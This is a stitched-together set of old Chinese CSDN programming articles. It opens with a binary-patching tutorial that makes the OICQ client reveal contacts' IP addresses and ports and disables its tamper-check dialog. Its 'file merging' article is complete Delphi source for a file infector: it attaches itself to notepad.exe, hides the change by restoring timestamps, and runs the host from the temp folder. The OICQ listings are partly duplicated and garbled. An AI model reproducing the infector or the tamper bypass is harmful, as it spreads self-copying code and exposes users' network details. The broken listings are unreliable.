首先是对对象数据中IP地址和端口信息的保存，我们在获得该数据指针后（程序 00425157处），更改程序使程序直接跳转到我们的保存程序中（4D1640）。该数据 的指针首址放在EAX，由于该段程序有些寄存器的值都有用，堆栈也不能乱压。所 以我们首先修改了栈指针，使所有的堆栈活动都在我们的"空隙"中进行（堆栈顶端 4D1900）。然后保存几个寄存器的值（压栈）。IP地址和端口号分别在该数据结构 ＋214h和+218h的地方（也就是EAX＋214h和EAX+218h）。IP地址是一个字符串指针 ，端口是个32位整数。我们要做的就是把他们都转换成字符串，保存在自己的地盘 中。我们巧妙的用了一个wsprintfA函数把字符串和端口号输出到一个地址上（随 便在我们的"空隙"中找个空闲的地址，我用的是4D1700，4D1720中放的是格式化字 符串"％s：％d"）。实际这段程序翻译成C语言就是printf("%s:%d"，char *ip, int port)，这样我们就把字符串形式的数据保存在了数据区里。值得注意的是， 由于我们修改了原程序中的有用代码用于跳转程序，所以在我们的程序中就需要加 上（cmp dword ptr [eax+000001DC], ecx），退出我们的程序之前恢复栈指针和 各寄存器，用一条无条件跳转指令转回到原程序继续执行。

细心的同学可能注意到我们没有显式的调用wsprintfA函数，但是我们实际上是调 用了。在显示IP的那段附加程序中调用SetWindowTextA的调用也是这样。这是怎么 回事呢？我们知道所有API函数的调用前都需要重定位，这个过程发生在系统装入 这个PE程序的时候。系统按照PE文件中Import表的内容对API函数在程序中的地址 进行填写。我们没有修改Import表，所以，如果直接写上汇编代码，系统是不会为 它定位的。由于Import表比较复杂，更改它是个非常繁琐的事情。所以我们采用变 通的方法，既然系统为用到的API函数地址都作了重定位，所以API函数的地址信息 也就存在了。

具体的做法如下：

找到原程序中有调用wsprintfA的地方：

:0049CE30 FF1560274D00 Call USER32.wsprintfA

:0049CE36 83C410 add esp, 00000010

:0049CE39 EB1A jmp 0049CE55

实际的汇编代码应该是Call dword ptr [004D2760]，我们就知道了wsprintfA的 地址是放在004D2760中。所以，我们只要间接的获得这个调用的地址，这个地址就 是指向wsprintfA实际地址的二重指针。这样我们就可以直接Call这个地址了。在 "显示IP地址和串口的附加程序"中所用到的SetWindowTextA也是用这种方法调用的 。（具体修改方法详见"弹出发送消息窗口之前的对象数据调用的程序段"和"保存 IP地址和端口的附加程序"）

在把IP地址和端口保存为了字符串形式在4D1700h之后，今后只需要在需要的时候 显示出来就行了。

前面我们提到了需要在点击广告后显示IP地址。所以，我们在点击广告的程序段 中间添加了跳转到我们显示程序的入口（4D1680h）。显示程序的原理很简单，使 用SetWindowTextA函数把保存在4D1700h的字符串显示在以前广告的窗口中。在显 示之前，判断一下如果没有IP地址的情况，如果是只有一个冒号，说明没有IP地址 ，就简单的写上一个"0"。调用SetWindowTextA函数的方法在前面已经提到。需要 注意还有两个重要的问题：

我们从什么地方获得SetWindowTextA函数需要的一个参数？？广告窗口句柄呢？ 我特意在"发送消息窗口点击广告的程序段"中写出了在点击广告时有一个Call USER32.GetWindowRect调用的代码，这个函数同样需要窗口句柄。[ESI+160h]就是 USER32.GetWindowRect需要的广告窗口句柄，我们就可以利用这个句柄调用 SetWindowTextA，使字符串显示在广告窗口上。

还有就是由于原来的广告窗口是用于图片的显示，所以不能用来显示字符。它的窗 口样式中有个SS_ETCHEDFRAME的值。我们需要去掉它并加上用于垂直居中和水平居 中的两个样式SS_CENTER和SS_CENTERIMAGE。一般静态对话框中的窗口元素（控件 ）都是静态的保存在资源段中，而不是程序动态生成的。所以我们不需要改程序， 只需要改掉资源段中的值就可以了。具体改法详见"消息发送对话框中广告窗口样 式的更改"。

程序基本上改完了，终于可以享受我们辛苦改动的结果了，不料Oicq 820版有检查 文件是否被修改过这一手。同样，阻止我们通向成功道路上的任何障碍只能无情的 被我们消灭，这个提示文件已被修改的对话框也只能被我们搞调。幸好搞它非常的 简单，把断点设置在MessageBoxA上，等蹦出断点后，查找前面的代码，找到判断 是否弹出对话框的代码并且无情的干掉，详见"弹出文件修改警告框的程序段"。 大功告成！学到不少东西吧！这么多代码自己慢慢用UltraEdit查找修改吧，知道 敲错一个的后果吗？呵呵，不是死机就是重起。考虑到一些初级DIY用户的需求， 我把修改好的EXE文件用专业的Patch软件"CodeFusion"作成了一个18K的Patch执行 文件。需要的朋友额可以到我主页上去下载。

好了，课程结束。如果有时间的话，还可以对Oicq作很多的改造。但无疑这个人 物是非常艰巨而复杂的，但是只要你有必胜的信心以及充沛的精力，并且敢于接受 这种毫无人性任务的挑战，还有视一起PPMM为粪土的高尚眼光和能忍受对自己无情 虐待的勇气，你会成功的！（￥……＃％％……※＃！￥＃％啊啊啊啊～～～～～ ～～呃～～，被前排学生暴扁）。

为OICQ添加显示IP和端口功能

打开广告文件的程序段

更改以前：|

:0042AF5B FF152C244D00 Call KERNEL32.CreateFileA ?

文件

:0042AF61 8BF8 mov edi, eax ?

:0042AF63 83FFFF cmp edi, FFFFFFFF ?

句柄（打开失败）

:0042AF66 897D08 mov dword ptr [ebp+08], edi ?

:0042AF69 0F84EB000000 je 0042B05A :0042AF6F 8D45F4 lea eax, dword ptr [ebp-0C]

:0042AF72 50 push eax

:0042AF73 57 push edi

更改以后：

:0042AF5B FF152C244D00 Call KERNEL32.CreateFileA ?

文件

:0042AF61 8BF8 mov edi, eax ?

:0042AF63 83FFFF cmp edi, FFFFFFFF 更改以后：

:00443B56 33FF xor edi, edi

:00443B58 397DDC cmp dword ptr [ebp-24], edi

:00443B5B EB5C jmp 00443BB9 ?

手工更改方法：

查找16进制代码：39 7D DC 75 5C

更改为： EB

文件偏移为43B5Bh

发送消息窗口点击广告的程序段

更改以前：

:00432B4E 50 push eax

:00432B4F FFB660010000 push dword ptr [esi+00000160] ;

esi+160是窗口句柄

:00432B55 FF1578274D00 Call USER32.GetWindowRect

:00432B5B 8D45DC lea eax, dword ptr [ebp-24]

:00432B5E 8BCE mov ecx, esi

:00432B60 50 push eax

:00432B61 E8A6110700 call 004A3D0C

:00432B66 FF7510 push [ebp+10]

:00432B69 8D45DC lea eax, dword ptr [ebp-24]

:00432B6C FF750C push [ebp+0C]

:00432B6F 50 push eax

:00432B70 FF15B8274D00 Call USER32.PtInRect

:00432B76 85C0 test eax, eax ?

区域内点击

:00432B78 0F84FF000000 je 00432C7D

:00432B7E 6A10 push 00000010 ?

:00432B80 FF157C274D00 Call USER32.GetKeyState

:00432B86 33DB xor ebx, ebx

:00432B88 663BC3 cmp ax, bx

:00432B8B 7D0F jge 00432B9C

:00432B8D C705D874510001000000 mov dword ptr [005174D8], 00000001

:00432B97 E9E8000000 jmp 00432C84

更改以后：

:00432B70 FF15B8274D00 Call USER32.PtInRect

:00432B76 85C0 test eax, eax

:00432B78 0F84FF000000 je 00432C7D

:00432B7E 6A10 push 00000010 ?

区域内点击

:00432B80 FF157C274D00 Call USER32.GetKeyState

:00432B86 E9F5EA0900 jmp 004D1680 ?

示程序当中

:00432B8B 7D0F jge 00432B9C

:00432B8D C705D874510001000000 mov dword ptr [005174D8], 00000001

:00432B97 E9E8000000 jmp 00432C84

手工更改方法：

查找16进制代码：33 DB 66 3B C3 7D 0F C7

更改为： E9 F5 EA 09 00

文件偏移为32B86h

回复消息窗口点击广告的程序段

更改以前：

:0046221C FF15B8274D00 Call USER32.PtInRect ?

广告区域内点击

:00462222 85C0 test eax, eax

:00462224 0F84D8000000 je 00462302 ?

更改以后：

:0046221C FF15B8274D00 Call USER32.PtInRect ?

广告区域内点击

:00462222 85C0 test eax, eax

:00462224 E9D9000000 jmp 00462302 ?

手工更改方法：

查找16进制代码：0F 84 D8 00 00 00 8B 46 56

更改为： E9 D9 00 00 00 90

文件偏移为62224h

弹出发送消息窗口之前的对象数据调用的程序段

更改以前：

:0042513D 56 push esi

:0042513E 8BF1 mov esi, ecx

:00425140 FFB6F4000000 push dword ptr [esi+000000F4]

:00425146 FFB6B0000000 push dword ptr [esi+000000B0]

:0042514C E879810300 call 0045D2CA ?

结构首址

:00425151 33C9 xor ecx, ecx

:00425153 3BC1 cmp eax, ecx ?

成功

:00425155 7431 je 00425188 结构首址

:00425151 33C9 xor ecx, ecx

:00425153 3BC1 cmp eax, ecx ?

成功

:00425155 7431 je 00425188 ?

:00425157 E9E4C40A00 jmp 004D1640 ?

IP地址和端口的程序中

:0042515C 90 nop ?

手工更改方法：

查找16进制代码：39 88 DC 01 00 00 75 08

更改为： E9 E4 C4 0A 00 90

文件偏移为25157h

显示IP地址和串口的附加程序

:004D1680 803D00174D003A cmp byte ptr [004D1700], 3A ?

字符内存区第一个字符是不是冒号，是就说明没有IP地址

:004D1687 7509 jne 004D1692 ?

:004D1689 66C70500174D003000 mov word ptr [004D1700], 0030 ?

字符内存区写上一个"0"

:004D1692 6800174D00 push 004D1700 ?

:004D1697 FFB660010000 push dword ptr [esi+00000160] 告窗口的窗口句柄

:004D169D A1E8714A00 mov eax, dword ptr [004A71E8] ?

他地方调用SetWindowTextA的地址

:004D16A2 FF10 call dword ptr [eax] ?

重定位好了的SetWindowTextA的地址

:004D16A4 E9D415F6FF jmp 00432C7D ?

之后

:004D16A9 90 nop ?

对齐好看

:004D16AA 90 nop

:004D16AB 90 nop

:004D16AC 90 nop

:004D16AD 90 nop

:004D16AE 90 nop

:004D16AF 90 nop

wsprintf所用到的模式字符串：

:004D1720 25733A2564 "%s:%d"

手工更改方法：

在文件偏移D1680处添加16进制代码：

80 3D 00 17 4D 00 3A 75-09 66 C7 05 00 17 4D 00

30 00 68 00 17 4D 00 FF-B6 60 01 00 00 A1 E8 71

4A 00 FF 10 E9 D4 15 F6- FF 90 90 90 90 90 90 90

在文件偏移D1720处添加16进制代码：

25 73 3A 25 64

保存IP地址和端口的附加程序

:004D1640 8BDC mov ebx, esp ?

针

:004D1642 BC00194D00 mov esp, 004D1900 ?

针到无用的内存区域

:004D1647 50 push eax ?

寄存器

:004D1648 51 push ecx

:004D1649 52 push edx

:004D164A 56 push esi

:004D164B FFB018020000 push dword ptr [eax+00000218] ?

象端口的地址

:004D1651 FFB014020000 push dword ptr [eax+00000214] P

地址的字符串指针

:004D1657 6820174D00 push 004D1720 ?

是printf的模式字符

:004D165C 6800174D00 push 004D1700 ?

:004D1661 8B3532CE4900 mov esi, dword ptr [0049CE32] 他地方调用wsprintfA的地址

:004D1667 FF16 call dword ptr [esi] ?

重定位好了的wsprintfA的地址

:004D1669 83C410 add esp, 00000010 ?

:004D166C 5E pop esi ?

:004D166D 5A pop edx

:004D166E 59 pop ecx

:004D166F 58 pop eax

:004D1670 3988DC010000 cmp dword ptr [eax+000001DC], ecx ?

原程序00425157处被改掉的有用代码

:004D1676 8BE3 mov esp, ebx ?

针

:004D1678 E9E03AF5FF jmp 0042515D ?

:004D167D 90 nop

:004D167E 90 nop

:004D167F 90 nop

手工更改方法：

在文件偏移D1640处添加16进制代码：

8B DC BC 00 19 4D 00 50-51 52 56 FF B0 18 02 00

00 FF B0 14 02 00 00 68-20 17 4D 00 68 00 17 4D

他地方调用wsprintfA的地址

:004D1667 FF16 call dword ptr [esi] ?

重定位好了的wsprintfA的地址

:004D1669 83C410 add esp, 00000010 ?

:004D166C 5E pop esi ?

:004D166D 5A pop edx

:004D166E 59 pop ecx

:004D166F 58 pop eax

:004D1670 3988DC010000 cmp dword ptr [eax+000001DC], ecx ?

原程序00425157处被改掉的有用代码

:004D1676 8BE3 mov esp, ebx ?

针

:004D1678 E9E03AF5FF jmp 0042515D ?

:004D167D 90 nop

:004D167E 90 nop

:004D167F 90 nop

手工更改方法：

在文件偏移D1640处添加16进制代码：

8B DC BC 00 19 4D 00 50-51 52 56 FF B0 18 02 00

00 FF B0 14 02 00 00 68-20 17 4D 00 68 00 17 4D

消息发送对话框中广告窗口样式的更改

更改以前的窗口样式(style)是50000012h，

WS_CHILDWINDOW|WS_VISIBLE|SS_LEFT|SS_ETCHEDFRAME

更改以后的窗口样式(style)是50000201h，

WS_CHILDWINDOW|WS_VISIBLE|SS_LEFT|SS_CENTER|SS_CENTERIMAGE

手工更改方法：

在文件偏移141EFCh处把

12 00 00 50

改为 02 01 00 50

代码段段属性修改

更改以前的代码段属性为60000020，CER（包含代码，可执行，可读）

更改以后的代码段属性为C0000020，CRW（包含代码，可读写和执行）

手工更改方法：

在文件偏移21Ch处把

20 00 00 60

改为 20 00 00 C0


CSDN_文档中心_为什么需要Web Service

从前，分布式的应用程序逻辑需要使用分布式的对象模型，诸如：微软的分布式组件对象模型(DCOM)、对象管理集团的公用对象请求代理程序体系结构(CORBA)或Sun的远程方法调用(RMI)。通过使用这种基本结构，开发人员仍可拥有使用本地模型所提供的丰富资源和精确性，并可将服务置于远程系统中。

当我已经有了我中意的中间件平台（RMI, Jini, CORBA, DCOM 等等)时，为什么还要为Web而烦恼呢？中间件确实提供了强大的服务实现手段，但是，这些系统有一个共同的缺陷，那就是它们无法扩展到互联网上：它们要求服务客户端与系统提供的服务本身之间必须进行紧密耦合，即要求一个同类基本结构。这样的系统往往十分脆弱：如果一端的执行机制发生变化，那么另一端便会崩溃。例如，如果服务器应用程序的接口发生更改，那么客户端便会崩溃。

要求提供紧密耦合的基本结构，无可厚非，许多应用程序均是基于这种系统构建而成的。但是，当各个公司需要相互合作、或信息技术提供商扩大业务范围时，便很难实现单一而统一的基本结构。您根本无法保证您希望与之进行远程通信的管道的另一端，具备所有您需要的基本结构：对于它使用的操作系统、对象模型或编程语言，您可能一无所知。

相反，Web服务彼此是松散偶合的。连接中的任何一方均可更改执行机制，却不影响应用程序的正常运行。从技术角度讲，人们已转向使用一种基于消息的异步技术来实现高可靠性的系统性能，通过使用诸如HTTP、简单邮件传输协议(SMTP)以及至为重要的XML来实现统一的连接。

Web作为信息发布者的力量就在于简单且无处不在，这对解决现在这样一个分裂中间件世界很重要。Web通过在传统中间件平台上更有效实现的Services，来提供一个统一且广泛适用的接口，这样就改善了这个平台。

从一个N层应用程序结构的角度来看，web service只是一个方便程序访问的包装，服务还是要靠中间件来实现。访问包括服务请求处理（监听者）和一个支持商业逻辑操作的接口，商业逻辑本身是由传统的中间件平台实现的。

从理论上讲，开发人员可通过调用Web应用编程接口(API)（就像调用本地服务一样），将Web服务集成到应用程序中，不同的是Web API调用可通过互联网发送给位于远程系统中的某一服务。例如，Microsoft Passport服务使得开发人员能够对某应用程序进行验证。通过Passport服务编程，开发人员可以充分利用Passport的基本结构，通过运行Passport来维护用户数据库，以确保它的正常运行、定期备份等等。

消息传递系统将通信的基本单元打包成自我描述型的数据包（又称作消息），并将其放到网络缆线中。消息传递系统与分布式对象系统之间的本质区别在于：要求发送方辨识接收方的基本结构的程度有所不同。在分布式系统中，发送方需对接收方的情况作出种种猜测：应用程序是如何激活或拆包的，调用的是什么样的界面，等等。

另一方面，消息传递系统会在缆线格式级上创建合同。发送方既不需考虑消息被接收后的情况，也不需考虑接发双方之间的通信情况，唯一需要考虑的是接收方是否能辩识发送的消息内容。

在缆线格式级上创建合同的优势不言而喻。例如，接收方可在任何时刻进行更改，而不会干扰发送方的消息发送，只要它仍可辩识原有消息的内容。另外，发送方无需任何特殊的软件即可与接收方通信：只要它发出正确格式的消息，接收方就可以响应。


CSDN_文档中心_为应用软件加入全面的功能权限控制

为应用软件加入全面的功能权限控制
于洪

    在软件开发中，为软件加入权限控制功能，使不同的用户有不同的使用权限，是非常重要的一项功能，由其在开发数据库方面的应用，这项功能更为重要。但是，要为一个应用加入全面的权限控制功能，又怎样实现呢？笔者在软件开发过程中，曾被此问题困挠过。大家知道，现在的应用，一般均以菜单访问功能的形式出现，按照常规的做法，只要让注册进入应用的不同用户，可以访问不同的功能菜单，从而实现功能权限的控制，但是，有这样一个问题，此种方法便无能为力，现在的应用软件，为了提高软件的易操作性，同一功能可能有多种不同的访问方式，如工具条，右键菜单等；同样，同一个功能，也可能在软件的不同地方被调用，而不仅仅被限制为用程序的主菜单来调用，这样，才能保证应用的易用性。写到这，问题已经非常清楚，对于要限制的软件功能，仅通过一次代码设计，无论在整个应用的任何地方或通过何种形式调用此功能，都能被功能权限所限制。

    最近，笔者利用Delphi平台作应用开发时，通过Delphi4提供的VCL控件解决了这一问题。在了解如何实现功能权限控制之前，得先看一下Delphi4提供的新控件TActionList，通过TActionList,应用程序可以统一管理其TAction,这里的Action,可以理解为应用程序的功能。在应用的设计期间，可以通过TActionList编辑器将功能(Action)加入TActionList,将Action加入TActionList后，就可能通过Object Inspector设置Action的属性或为其建立事件句柄。在这里，我们可以用Action的OnExecute事件句柄实现具体的功能，如下代码来显示一个操作窗体：

procedure TfrmMain.SetUserExecute(Sender: TObject);

begin

  frmUser.showModal;

end;

    当要限定这一功能时，可能利用TAction的Enabled,将其设为False,此功能对于用户将被屏蔽掉，如果要此功能对用户不可见，则可以设定Visible为False。

    当成功能的建立了TActionList后，可能有人问，如果使用其中的Action，其实，在Delphi4中，象TButton、TMenuItem、TSpeedButton、TRadioButton等控件，均有一个属性Action,正是通过它，我们可以将Menu或Button连接到TActionList中TAction,从而实现功能按钮或菜单的功能。

在理解了Delphi中的TActionList及TAction之后，就可以看看功能权限的具体实现方法。

第一步，建立两张表，一张表存储用户信息，另一张表存储权限定义。

用户信息表User结构如下：

字段名称
类型
字段说明

UserID
String
用户的ID号，为表关键字

UserName
String
用户名称

UserPassWord
String
用户口令

UserRight表结构如下：

字段名称
类型
字段说明

UserID
String
用户的ID号，为表关键字

ActionCaption
String
存储功能的名称，即Action的Caption属性值

ActionEnable
Boolean
存储功能是否可以访问，即Action的Enable 属性值

ActionVisible
Boolean
存储功能是否可见，即Action的visible属性值

第二步，增加用户时填加用户功能权限

当向User表中增加用户时，需要向UserRight中增加功能设置记录，先看看下面的实现代码：

procedure TfrmUser.N1Click(Sender: TObject);

var

  i:Integer;

  Action:TAction;

begin

//Add Action into user right cds.

  with frmMain do begin

  for i:=0 to ActionList1.actioncount-1 do begin

  Action:=ActionList1.Actions[i];

cdsUserRight.AppendRecord([cdsUser.FieldByName(’userName’).AsString,TAction(Action).Caption,TAction(Action).Enabled,i]);

end;

end;

end;

    在这段代码中，用到了TActionList的两个属性，一个是ActionCount,另一个是Actions。ActionCount表示TactionList中有多少功能，即Action,Actions是一个数组属性，通过索引可能访问每一个TAction,从而可以设置其具体的属性，象上面提到的Enable及Visible，从而达到限制的目的，通过这段代码，将应用程序的所有功能都加入了UserRight表中。

第三步，可以用Grid对上一步产生的表进行编辑操作

第四步，利用第二、三步产生的功能限制表UserRight，限制用户的权限，这可以在应用程序的主窗体的OnCreate 中实现。

procedure TfrmMain.FormCreate(Sender: TObject);

const

  testUser=’yh’;

var

  cdsRight:TClientDataSet;

  i:Integer;

begin

//set right of function

  cdsRight:=TClientDataSet.Create(self);

  try

  cdsRight.LoadFromFile(’Right.CDS’);

  cdsRight.AddIndex(’id’,’UserName;ActionCaption’,[],’’,’’,0);

  cdsRight.IndexName:=’id’;

for i:=0 to ActionList1.ActionCount-1 do begin

  if cdsRight.FindKey([TestUser,TAction(ActionList1.Actions[i]).Caption]) then

  TAction(ActionList1.Actions[i]).Enabled:=cdsRight.FieldByName(’ActionEnable’).AsBoolean;

  end;

  finally

  cdsRight.Close;

  cdsRight.Free;

end;

end;

    这段代码中，假设当前的用户ID为yh,同时只设定了功能的Enable属性。

    最后，笔者为了演示功能权限的设定功能，制作了demo程序，感兴趣者可以向作者索取。在demo程序中，同时还使用了内存表ClientDataSet的使用方法，不用BDE建立瘦数据库应用程序。


CSDN_文档中心_文件合并新思路(附完整DELPHI代码)

文件合并新思路
(襄樊 官本和 2001.9.28)

program exe2;

uses
classes,
Tlhelp32,
windows,
SysUtils;

{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);
var
s1,s2:TMemoryStream;
files2:TFilestream;
ch:array[0..3] of char;
ss:string;
filetime,fhandle:integer;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{判断文件s中有没有特殊标记。若有，表示已经合并过
在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'IMOK'
用debug也可进行修改(对exe文件，要先更改EXE扩展名)。例:
-e 1C8
127D:01C8 00._ <-键入新的十六进制值
......
-w <-保存文件}
files2:=TFilestream.Create(s,fmopenread);
files2.Position:=200;
files2.Read(ch,4);
ss:=copy(ch,1,4);
files2.Free;
if ss='IMOK' then exit;
{将本文件与文件s合并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
s1.copyfrom(s2,MySize);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;

procedure CreateFileAndRun;
var
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1:=TMemoryStream.Create;
s1.loadfromfile(ExeName);
if s1.Size=MySize then
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
cmdstr:='';
a:=1;
while ParamStr(a)<>'' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
end;
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;

begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:='';
while found do
begin
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
found:=Process32Next(handle,lppe);
end;
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then
begin
copy2(WinDir+'\notepad.exe');
end;
{其它需要合并的文件
if pos(...,ProcessStr)=0 then
begin
copy2(...);
end;
...
}
freemem(WinDir);
{
你想用这个程序干点其它的什么...
}
CreateFileAndRun;{释放文件并带参数运行}
end.

{
E-mail: guanbenhe@peoplemail.com.cn
delphi21cn@sohu.com
homepage: http://guanbh.top263.net
}


CSDN_文档中心_我常去的几个站点，希望对同志们有帮助

项目管理论坛

http://club.chinaasp.com/club/bbs/bbsView.asp?boardid=94

IT新闻，唐朝故事

http://www.chinabyte.com

技术网站

http://msdn.microsoft.com

http://www.delphibbs.com/delphibbs

http://www.csdn.net

delphi控件

http://delphi.icm.edu.pl

http://www.inprises.com


CSDN_文档中心_我做了一个关于动态增加、修改、删除树形结构的程序！愿与大家分享（附源代码）！！！

procedure LoadTree(treeDB:TDBDataSet);//初始化树
procedure UpdateTree(curNode:TTreenode; nodeTxt:string; state:string);//更新树
function GetNodeLevel(sFormat,sCode:string):integer; //获得节点层数
function GetNodeItem(sCode:string):integer;//获得item

{ Public declarations }
end;

const
CTreeCodeFormat='122222';
cTreeMaxLevel=6;
CTreeRootTXT='所有图书';

var
tsgzlfrom: Ttsgzlfrom;
_err:integer;
curUser:string[10];
mystate:string;
gNodeId:string;
gNodelevel:integer;
gNode:TtreeNode;
mynode:array[0..6] of TTreenode;
i,Already,CurMode:integer;
currow:integer;
iniFile:string;
HasSub:String;

level:Integer;

implementation

uses bgNewunit;

{$R *.DFM}

procedure TtsgzlFrom.LoadTree(treeDB:TDBDataSet);//初始化树
var curID,nodeTxt:string;
level,num:integer;
begin
//初始化变量
Screen.Cursor:=crHourGlass;
tree.Enabled:=True;
tree.Items.Clear;
level:=1 ;
num:=1;
tree.items.clear;
//设置根节点
mynode[level]:=Tree.items.add(Tree.Topitem,cTreeRootTxt);
mynode[level].ImageIndex:=0;
mynode[level].SelectedIndex:=1;
//遍历数据表，利用编码字段记录排序规律，依次添加树节点
with TreeDb do
begin
try
if not Active then open;
first;
while not Eof do
begin
curID:=trim(FieldByName('tsglb').AsString);
nodeTxt:=curID+'-'+trim(FieldByName('tsglbn').AsString);
level:=GetNodeLevel(cTreeCodeFormat,curID);
//这里返回代码的层次数
if level>0 then
begin
//增加下一节点时，用添加子节点的方法可轻松实现节点间的层次关系。
//注意：这里的父节点是用当前节点的上一级节点mynode[level-1]
mynode[level]:=Tree.Items.AddChild(Mynode[level-1],NodeTxt);
mynode[level].ImageIndex:=2;
mynode[level].SelectedIndex:=3;
end;
next;//下一条记录
end;
finally;
close;
End;
mynode[1].expand(False);
Screen.Cursor:=crHourGlass;
end;
end;

function TtsgzlFrom.GetNodeLevel(sFormat,sCode:string):integer;
var i,iLen:integer;
begin
level:=-1 ;
iLen:=0;
if (sFormat<>'') and (sCode<>'') then
for i:=1 to Length(sFormat) do //分析编码格式，找出当前代码层次
begin
iLen:=iLen+StrToInt(sFormat[i]);
if Length(sCode)=iLen then
begin
level:=i;
break;
end;
end;
result:=level;
end;

Function TtsgzlFrom.GetNodeItem(sCode:string):integer;//获得item
var i,iCount,val:integer;
tmp:string;
begin
Result:=0;
iCount:=Tree.Items.Count;
if iCount=0 then exit;
val:=0;
for i:=1 to iCount-1 do
begin
Tmp:=Tree.Items.Item[i].Text;
Tmp:=Copy(Tmp,0,pos('-',Tmp)-1);
if Tmp=sCode then begin
val:=i;
Break;
end;
end;
result:=val;
end;

procedure TtsgzlFrom.UpdateTree(curNode:TTreenode; nodeTxt:string; state:string);
Begin
if state='add' then
begin
curNode:=Tree.Items.addchild(curNode,nodeTxt);
curNode.ImageIndex:=2;
curnode.SelectedIndex:=3;
end;
if state='del' then curNode.delete;
if state='edi' then curNode.Text:=nodeTxt;
end;


CSDN_文档中心_先人的DELPHI基础开发技巧

先人的DELPHI基础开发技巧
整理：房客 来源：大富翁论坛

◇[DELPHI]网络邻居复制文件
uses shellapi;
copyfile(pchar('newfile.txt'),pchar('//computername/direction/targer.txt'),false);

◇[DELPHI]产生鼠标拖动效果
通过MouseMove事件、DragOver事件、EndDrag事件实现，例如在PANEL上的LABEL：
var xpanel,ypanel,xlabel,ylabel:integer;
PANEL的MouseMove事件：xpanel:=x;ypanel:=y;
PANEL的DragOver事件：xpanel:=x;ypanel:=y;
LABEL的MouseMove事件：xlabel:=x;ylabel:=y;
LABEL的EndDrag事件：label.left:=xpanel-xlabel;label.top:=ypanel-ylabel;

◇[DELPHI]取得WINDOWS目录
uses shellapi;
var windir:array[0..255] of char;
getwindowsdirectory(windir,sizeof(windir));
或者从注册表中读取，位置：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
SystemRoot键，取得如：C:\WINDOWS

◇[DELPHI]在FORM或其他容器上画线
var x,y:array [0..50] of integer;
canvas.pen.color:=clred;
canvas.pen.style:=psDash;
form1.canvas.moveto(trunc(x[i]),trunc(y[i]));
form1.canvas.lineto(trunc(x[j]),trunc(y[j]));

◇[DELPHI]字符串列表使用
var tips:tstringlist;
tips:=tstringlist.create;
tips.loadfromfile('filename.txt');
edit1.text:=tips[0];
tips.add('last line addition string');
tips.insert(1,'insert string at NO 2 line');
tips.savetofile('newfile.txt');
tips.free;

◇[DELPHI]简单的剪贴板操作
richedit1.selectall;
richedit1.copytoclipboard;
richedit1.cuttoclipboard;
edit1.pastefromclipboard;

◇[DELPHI]关于文件、目录操作
Chdir('c:\abcdir');转到目录
Mkdir('dirname');建立目录
Rmdir('dirname');删除目录
GetCurrentDir;//取当前目录名，无'\'
Getdir(0,s);//取工作目录名s:='c:\abcdir';
Deletfile('abc.txt');//删除文件
Renamefile('old.txt','new.txt');//文件更名
ExtractFilename(filelistbox1.filename);//取文件名
ExtractFileExt(filelistbox1.filename);//取文件后缀

◇[DELPHI]处理文件属性
attr:=filegetattr(filelistbox1.filename);
if (attr and faReadonly)=faReadonly then ... //只读
if (attr and faSysfile)=faSysfile then ... //系统
if (attr and faArchive)=faArchive then ... //存档
if (attr and faHidden)=faHidden then ... //隐藏

◇[DELPHI]执行程序外文件
WINEXEC//调用可执行文件
winexec('command.com /c copy *.* c:\',SW_Normal);
winexec('start abc.txt');
ShellExecute或ShellExecuteEx//启动文件关联程序
function executefile(const filename,params,defaultDir:string;showCmd:integer):THandle;
ExecuteFile('C:\abc\a.txt','x.abc','c:\abc\',0);
ExecuteFile('http://tingweb.yeah.net','','',0);
ExecuteFile('mailto:tingweb@wx88.net','','',0);

◇[DELPHI]取得系统运行的进程名
var hCurrentWindow:HWnd;szText:array[0..254] of char;
begin
hCurrentWindow:=Getwindow(handle,GW_HWndFrist);
while hCurrentWindow <> 0 do
begin
if Getwindowtext(hcurrnetwindow,@sztext,255)>0 then listbox1.items.add(strpas(@sztext));
hCurrentWindow:=Getwindow(hCurrentwindow,GW_HWndNext);
end;
end;

◇[DELPHI]关于汇编的嵌入
Asm End;
可以任意修改EAX、ECX、EDX；不能修改ESI、EDI、ESP、EBP、EBX。

◇[DELPHI]关于类型转换函数
FloatToStr//浮点转字符串
FloatToStrF//带格式的浮点转字符串
IntToHex//整数转16进制
TimeToStr
DateToStr
DateTimeToStr
FmtStr//按指定格式输出字符串
FormatDateTime('YYYY-MM-DD,hh-mm-ss',DATE);

◇[DELPHI]字符串的过程和函数
Insert(obj,target,pos);//字符串target插入在pos的位置。如插入结果大于target最大长度，多出字符将被截掉。如Pos在255以外，会产生运行错。例如，st:='Brian'，则Insert（'OK',st,2）会使st变为'BrOKian'。
Delete(st,pos,Num);//从st串中的pos（整型）位置开始删去个数为Num（整型）个字符的子字串。例如，st:='Brian'，则Delete(st,3,2)将变为Brn。
